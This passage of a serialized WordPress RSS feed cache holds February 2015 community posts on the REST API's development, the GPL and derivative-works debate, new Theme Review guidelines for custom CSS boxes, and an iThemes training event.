in core?</h3>\n<p>The REST API is under heavy development, and is also between major versions that will sever backward compatibility. That has made the state of the API confusing.</p>\n<p>The REST API hasn&#8217;t been slated for a particular release, though it is officially active <a href=\"https://make.wordpress.org/core/features-as-plugins/\">for the &#8220;feature as plugin&#8221;</a> model. The goal is for it to hit core some time in 2015, so probably between WordPress 4.3 and 4.5. I&#8217;d guess closer to 4.5, as there will need to be a lot of testing once the new stable version comes out.</p>\n<h3>Keeping up with development</h3>\n<p>If you want to keep track of the WordPress REST API development, there are a variety of ways to do so, though finding the proper channels can be a challenge at the moment.</p>\n<p>First off, know that a major new version is being finalized as we speak, so there is disparity between 1.1.x and the upcoming version for information, code, and documentation. The version under development &#8212; and is a significant restructuring &#8212; has been under development for nearly seven months.</p>\n<p>The <a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org official plugin page</a> is somewhat closely synchronized with the latest 1.x release, though it is a few commits behind. The plugin is authored by Ryan McCue, who is the project lead and the initial author of the plugin, as it was his Google Summer of Code project for the first iteration. The WordPress.org page could also use some updating to make it more obvious that it&#8217;s the official REST API plugin for the WordPress project.</p>\n<p>The <a href=\"https://github.com/WP-API/WP-API\">WP API Github</a> is where active issue tracking, version management, and releases are being handled. The API has its own account on Github, rather than being a part of the WordPress account, as there are adjacent repos to the actual API and it wasn&#8217;t originally guaranteed to be in core.</p>\n<p>The key to understanding the various states of the WP REST API is to think in terms of <strong>Develop</strong>, <strong>Master</strong>, and <strong>Stable</strong> versions.</p>\n<ul>\n<li><a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org plugin repository</a> is the Stable version of the WP API.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/master\">Github Master branch</a> is where a Beta version of the next release is managed.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/develop\">Github Develop branch</a> is where the active development occurs.</li>\n</ul>\n<p><strong>If you&#8217;re using the WordPress REST API in production, you should use the WordPress.org version only</strong>. The Github Master and Development versions should be used for development and testing only.</p>\n<h3>Improvements coming in the rewrite</h3>\n<p>The long development cycle for the new version of the REST API is because it&#8217;s a signifcant rewrite for the project.</p>\n<p>Based on feedback and real-world use cases, the team was able to identify necessary improvements that needed to happen.</p>\n<p>There have been many, many changes in this version, but a couple of big ones are as follows:</p>\n<ul>\n<li>New functions have been added to allow for registration of custom endpoints with namespaces and versions. Rachel Baker <a href=\"https://gist.github.com/krogsgard/c3975a2ff449f20e56f3\">shared this gist with me</a> that showcases that. This means themes and plugins will be able to add to and extend the API, offering significantly more power to it.</li>\n<li>Comment creation and edit handling have been added in the rewrite.</li>\n<li>The team has also started work on support for options endpoints to be able to view, edit, and create general site options, which would make complete site management possible with the API, in addition to content management.</li>\n</ul>\n<p>The changes in the current development cycle have taken a long time, and have required some significant architectural changes, but are very much worth the long term benefits.</p>\n<h3>Contributors to the WordPress REST API</h3>\n<p>There have been <a href=\"https://github.com/WP-API/WP-API/graphs/contributors\">49 code contributors</a> to the REST API project on Github. It&#8217;s already a huge community effort. However, there are some folks that are really driving the project forward.</p>\n<p><img class=\"aligncenter size-large wp-image-8684\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-contributors-752x484.png\" alt=\"wp-api-contributors\" width=\"752\" height=\"484\" /></p>\n<ul>\n<li><a href=\"https://twitter.com/rmccue\">Ryan McCue</a>: Ryan is the overall project lead, and is generally steering the ship. This all started as his GSoC (Google Summer of Code) project and he is still the lead. He works for <a href=\"http://hmn.md/\">Human Made</a>, primarily on Happy Tables.</li>\n<li><a href=\"https://twitter.com/rachelbaker\">Rachel Baker</a>: Rachel is a project lead, and is doing a great deal of development, as well as education and evangelism. She works for <a href=\"http://10up.com\">10up</a> as a Senior Web Engineer.</li>\n<li><a href=\"https://twitter.com/danielbachhuber\">Daniel Bachhuber</a>: Daniel is in day to day conversations and also commits a lot of code to the project. He works for himself and is the interim engineering director at <a href=\"http://fusion.net/\">Fusion</a>.</li>\n<li><a href=\"https://twitter.com/joe_hoyle\">Joe Hoyle</a>: Joe is in day to day conversations and also commits a lot of code to the project. He is a co-founder of <a href=\"http://hmn.md/\">Human Made</a>.</li>\n</ul>\n<p>Though I highlight these four contributors, but there are a whopping 400 people watching the #core-restapi channel in Slack, and there are 49 code contributors on Github. Everyone deserves a huge round of applause that&#8217;s taken part in the strategic, code, education aspects of this project.</p>\n<p>And this is all before it goes into the core development cycle. Once this gets slated for a specific release, it&#8217;s going to get an insane amount of attention to make sure it&#8217;s ready for prime time and the millions of WordPress installs out there.</p>\n<h3>Meetings and blogs for the REST API</h3>\n<p>The REST API has a standing channel and weekly meeting in WordPress Slack, as well as two blogs you can keep track of:</p>\n<ul>\n<li>#core-restapi on WordPress Slack is where day to day communication occurs, and a feed of commit activity also goes into that channel. The weekly meeting is also here &#8212; and is actually held twice per week &#8212; at 23:00 UTC on Mondays and Wednesdays.</li>\n<li>The <a href=\"https://make.wordpress.org/core/tag/json-api/\">json-api tag on Make WordPress Core</a> is where blog posts about the API go. However, this has been rarely used, and is primarily just for release information.</li>\n<li>Frequent meeting notes and other discussions are posted on <a href=\"http://make.wp-api.org/\">make.wp-api.org</a>, which is an 02 blog (P2&#8217;s mysterious successor).</li>\n<li>Documentation can be viewed on <a href=\"http://wp-api.org\">wp-api.org</a>. It&#8217;s important to keep in mind that <strong>the docs on the main website are for the stable WordPress plugin</strong>, not the Develop branch.</li>\n</ul>\n<h3>Basics for using the WordPress REST API</h3>\n<p>The new API will make sense to people familiar with other REST APIs. However, if you are new to such things, even with the documentation you can easily get lost. I know I did.</p>\n<p>I will have a lot more resources for members soon, but I&#8217;ll try and give a quick intro to reading data now.</p>\n<p>The first thing to remember is that it&#8217;s very important to know if you will be reading data only or reading and changing data. If you are reading data from your own website, and using it on the same website, you don&#8217;t need to worry about authentication. If you are changing, adding, or deleting data, then you need to authenticate with the website you are making changes to.</p>\n<p>Let&#8217;s show a few simple examples of reading data with <code>GET</code>.</p>\n<p>A URL to pull content from Post Status would look like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content with <code>WP_Query</code> parameters you&#8217;re used to, you could do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content of a custom post type, you can do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>And to pull content of a custom post type with those same <code>WP_Query</code> parameters, it looks like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>What you see returned in those URLs is the JSON data we&#8217;re going after. Go ahead and put one of those URLs in a browser tab to see the return data.</p>\n<p>You can see how the method for grabbing that data feels familiar to using <code>WP_Query</code> for a standard WordPress loop. If you don&#8217;t specify a parameter, the defaults to <code>WP_Query</code> will be used.</p>\n<p>These URLs return that data, but obviously you&#8217;ll want to get that data programatically. You can do this within a WordPress install (or outside) with two common methods: PHP or AJAX.</p>\n<p>Handling the data will be similar to handling any other JSON data. I&#8217;ll have more on doing this with WordPress at a later date, but in the meantime you may enjoy <a href=\"http://torquemag.io/introduction-wordpress-new-universal-connector-json-rest-api/\">Josh Pollock&#8217;s introduction</a> to using the REST API.</p>\n<p>Now, of course, you can query far more than posts, as the <a href=\"http://wp-api.org\">WP API website</a> notes, but I just wanted to introduce the concepts.</p>\n<p>The API allows you to manage pretty much anything: posts, pages, custom post types, users, media, taxonomies, or even overall site data.</p>\n<h3>This is just the beginning</h3>\n<p>Unfortunately, I&#8217;ve hardly given a proper introduction to actually using the new WordPress REST API. That will have to wait until another time. That said, you should know have a pretty good understanding of what this project is, what it means for WordPress, and where to go to get started with the new API.</p>\n<p>I highly encourage you to educate yourself on this API, as well as experiment with it. You can use the Stable branch in production projects (like I do here on Post Status), but it would be really great to get more people testing and using the API in general so that when it ships with WordPress it will be as good as it can be.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 22:31:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:22;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:19:\"Matt: Amazing Dance\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44669\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"http://ma.tt/2015/02/amazing-dance/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:183:\"<p></p>\n<p>Incredible music (&#8220;Take Me To Church&#8221; by Hozier), incredible artist (the dancer, Sergei Polunin), and incredible photographer / director (David LaChapelle).</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 19:08:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:23;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"WPTavern: Tackling the Issue of WordPress Derivative Works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38822\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/tackling-the-issue-of-wordpress-derivative-works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6882:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png\" rel=\"prettyphoto[38822]\"><img class=\"size-full wp-image-24825\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png?resize=639%2C200\" alt=\"GPL License Plate Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/benfrantzdale/170212544/\">BenFrantzDale</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-nc-sa/2.0/\">cc</a>\n<p>In 2009-10, there <a title=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\" href=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\">was an intense debate</a> between the co-creator of WordPress, Matt Mullenweg, and the founder of DIY Themes, Chris Pearson. The debate centered on whether or not Thesis needed to be 100% GPL licensed. Thesis lifted lines of code from the core of WordPress, which <a title=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\" href=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\">some people claimed</a> made Thesis a derivative of WordPress. Pearson disagreed with the assessment which lead Mullenweg to insinuate <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\">he would take the matter to court</a>.</p>\n<p>Five years after that memorable debate, Richard Best of WP and Legal Stuff, <a title=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\" href=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\">has published a thorough analysis</a> of WordPress themes, the GPL license, and what is a derivative work. His post is a breath of fresh air and the best I&#8217;ve read so far on the subject. Best doesn&#8217;t sell themes or plugins in the WordPress ecosystem giving him a neutral position to discuss the matter. He also has a legal background, but does not offer legal advice through his site.</p>\n<p>Determining what defines a derivative work is complex, but according to Best, no one truly knows the answer to the question:</p>\n<blockquote><p>The reason we don’t truly know the answer is that the courts haven’t decided a case that is squarely on point (there are potentially analogous cases, of course, but – as far as I’m aware – no GPL or similar case directly on point).  It is only the courts (in the absence of legislative intervention) that can finally determine the matter.</p>\n<p>Courts might apply what some might say are orthodox notions of what it means for something to be a derivative work or they might incrementally (some might say dangerously) develop the law on this point but we just don’t know. And even if the courts of one country made a definitive ruling on the point, courts in other countries – where other lawsuits might be commenced – could decide differently. As a result, uncertainty remains.</p></blockquote>\n<p>The debate against Thesis never went to court, but it spawned several conversations throughout the WordPress community, <a title=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\" href=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\"> like this one from Chip Bennett</a>. This is why <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\">some people</a> rallied for a court case to settle the matter once and for all. As far as WordPress is concerned, I think it&#8217;s unlikely a court case will ever take place.</p>\n<h2>Influence Instead of Lawyers</h2>\n<p>Mullenweg has other ways of influencing people to license their WordPress products 100% GPL which doesn&#8217;t require a lawyer. A good example is <a title=\"http://designcrumbs.com/automatically-blackballed\" href=\"http://designcrumbs.com/automatically-blackballed\">when Jake Caputo was banned</a> from speaking or participating at WordCamps because he didn&#8217;t license his themes 100% GPL on ThemeForest.</p>\n<p>After going back and forth in <a title=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\" href=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\">public debates</a>, ThemeForest <a title=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\" href=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\">eventually added the ability</a> for authors to choose between split-license and 100% GPL. After changing the license on all of his products to 100% GPL, Caputo was allowed to speak at WordCamps again. It&#8217;s this type of influence that prevents arguments from reaching the court system.</p>\n<h2>Only a Court Can Decide</h2>\n<p>There aren&#8217;t many posts these days debating the merits of GPL and WordPress. Best does a great job explaining why (emphasis mine):</p>\n<blockquote><p>I think the GPL/theme debate has reached the stage where it’s fair to say that a significant proportion of the WordPress community now frowns upon premium theme providers who either don’t GPL-license at all or (probably to a lesser extent) split-license their themes. That might not be good for business and that, for some, may be the bottom line.</p>\n<p>For some people, this frowning may be caused by a particular view of what the GPL requires <em>but</em> for others – and I think this is a particularly important point – it may be caused by a recognition of the enormous opportunities that WordPress makes possible and the open source spirit and generosity that pervades much of the WordPress community. <strong>I think we’ve reached the stage where, for some people, this is more about a community norm than it is about a strict reading of the GPL </strong>(not to mention the tedium of listening to more and more competing GPL arguments when, ultimately, only a court can decide).</p></blockquote>\n<p>If a debate like the one in 2010 were to happen again, I think we&#8217;d see a huge outcry from every corner of the community for a court case to settle the matter. After all, without that, everything else is a moot point, right? If you sell commercial WordPress themes and plugins, I highly encourage you to read his post. Also read his thoughts on a somewhat related topic, the <a title=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\" href=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\">assumptions of GPL and automatic inheritance</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 00:37:31 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:24;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WordPress Theme Review Team Sets New Guidelines for Custom CSS Boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38826\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"http://wptavern.com/wordpress-theme-review-team-sets-new-guidelines-for-custom-css-boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2252:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg\" rel=\"prettyphoto[38826]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg?resize=1024%2C491\" alt=\"css\" class=\"aligncenter size-full wp-image-38846\" /></a></p>\n<p>Custom CSS boxes in themes are a common feature that allow users to easily add their own styles without having to edit any theme files. The inclusion of this feature in themes, as opposed to plugins, has long been a hotly contested issue among theme developers.</p>\n<p>WordPress.org Theme Review team admin Justin Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">announced</a> today that the team has agreed upon new guidelines for the inclusion of CSS boxes. He summarized the conclusions following the debate:</p>\n<ul>\n<li>It’s preferred that theme authors leave this feature to plugins.</li>\n<li>However, it is allowed if handled safely.</li>\n<li>The edit_theme_options capability is required (like all theme options).</li>\n<li>The wp_filter_nohtml_kses(), wp_strip_all_tags(), or equivalent function must be used to sanitize the data before it’s saved into the database.</li>\n</ul>\n<p>The main issue here is sanitizing the CSS to make sure it&#8217;s safe to store in the database. The guidelines do not cover validating the CSS, as that is less of a safety concern.</p>\n<p>While adding custom CSS boxes still falls within theme territory, it is best to consider relegating this feature to a plugin in order to keep your theme safe and lean. If you still wish to offer this feature in your theme, Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">posted sample code</a> that will provide a good starting place for adding a custom CSS box to WordPress&#8217; native customizer.</p>\n<p>Commercial theme authors who want to keep pace with WordPress.org theme review requirements will want to review the updated guidelines. The theme review team recommends using a plugin, such as <a href=\"http://jetpack.me/support/custom-css/\" target=\"_blank\">Jetpack&#8217;s custom CSS module</a>, as a safe alternative to allowing the theme to save custom CSS to the database.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 23:53:17 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:25;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: iThemes to Host Free Online Training Event: Intro to WordPress Web Design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38746\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"http://wptavern.com/ithemes-to-host-free-online-training-event-intro-to-wordpress-web-design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2962:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg\" rel=\"prettyphoto[38746]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg?resize=932%2C445\" alt=\"ithemes-training\" class=\"aligncenter size-full wp-image-38816\" /></a></p>\n<p>iThemes will be conducting a free online training event next week for those who are interested in getting started with WordPress. The <a href=\"https://ithemes.com/2015/02/05/free-intro-wordpress-web-design-workshop-february-18-20-2015/\" target=\"_blank\">Intro to WordPress Web Design</a> course will run from February 18 &#8211; 20 and will cover everything from learning how to set up a site to working with plugins and management tools:</p>\n<ul>\n<li>Understand what WordPress is, where it came from, why everything is a &#8220;post&#8221;—and who is Dolly?</li>\n<li>Unlock your WordPress site &#8211; learn how to set up your site the right way</li>\n<li>Unmask WordPress &#8211; learn the basics of how WordPress displays content for your site</li>\n<li>Supercharge your WordPress site with plugins</li>\n<li>Simplify your life with WordPress management tools and tips</li>\n<li>What to do to take your knowledge of WordPress to the next level</li>\n</ul>\n<p>The workshop is open to the first 1,000 registrants and will be taught by Benjamin Bradley, iThemes&#8217; Training full-time instructor. Bradley has been working with the company for the past five years to build out a library of 600+ instructional videos for the community surrounding iThemes&#8217; products. A chat room will be available for discussion and Q&amp;A during the the online event.</p>\n<p>iThemes CEO Cory Miller began investing in the creation of training resources years ago after noticing that a lack of quality WordPress education material was putting an extra burden on his support staff. &#8220;We started this free online workshop several years ago in response to seeing many of the same questions being asked in our support area year after year,&#8221; Miller said.</p>\n<p>&#8220;We felt our customers weren&#8217;t able to make meaningful progress in learning the basics of WordPress web design because there weren&#8217;t good resources to do so. The need is there and it is great, in particular for online learning like this. It&#8217;s part of our contribution to building up our customers, but also the greater WordPress community,&#8221; he said.</p>\n<p>The event is not just for iThemes customers but is open to anyone. If you can&#8217;t attend the training sessions live, iThemes plans to make the recordings available on its blog after the event. If you or a family member, friend, or client want an approachable introduction to WordPress, <a href=\"https://attendee.gotowebinar.com/register/5530303058928143361\" target=\"_blank\">register for the course</a> at iThemes. Each session is only one hour and will put you on track to managing your own WordPress website.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:33:52 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:26;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"Matt: On the Tim Ferriss Podcast\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44665\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:48:\"http://ma.tt/2015/02/on-the-tim-ferriss-podcast/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:581:\"<p>I had the great fun the other week of hanging with Tim Ferriss on his podcast, an episode he titled <a href=\"http://fourhourworkweek.com/2015/02/09/matt-mullenweg/\">Matt Mullenweg on Polyphasic Sleep, Tequila, and Building Billion-Dollar Companies</a>. His previous guest <a href=\"http://fourhourworkweek.com/2015/02/02/arnold-schwarzenegger/\">was Arnold Schwarzenegger</a> (!) and if you <a href=\"http://fourhourworkweek.com/category/the-tim-ferriss-show/\">dig into the podcast archives there are some really amazing episodes</a>, I&#8217;m working my way through them now.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:30:46 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:27;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"WPTavern: GitHub Updater 4.1 to Add Remote Installation for WordPress Plugins and 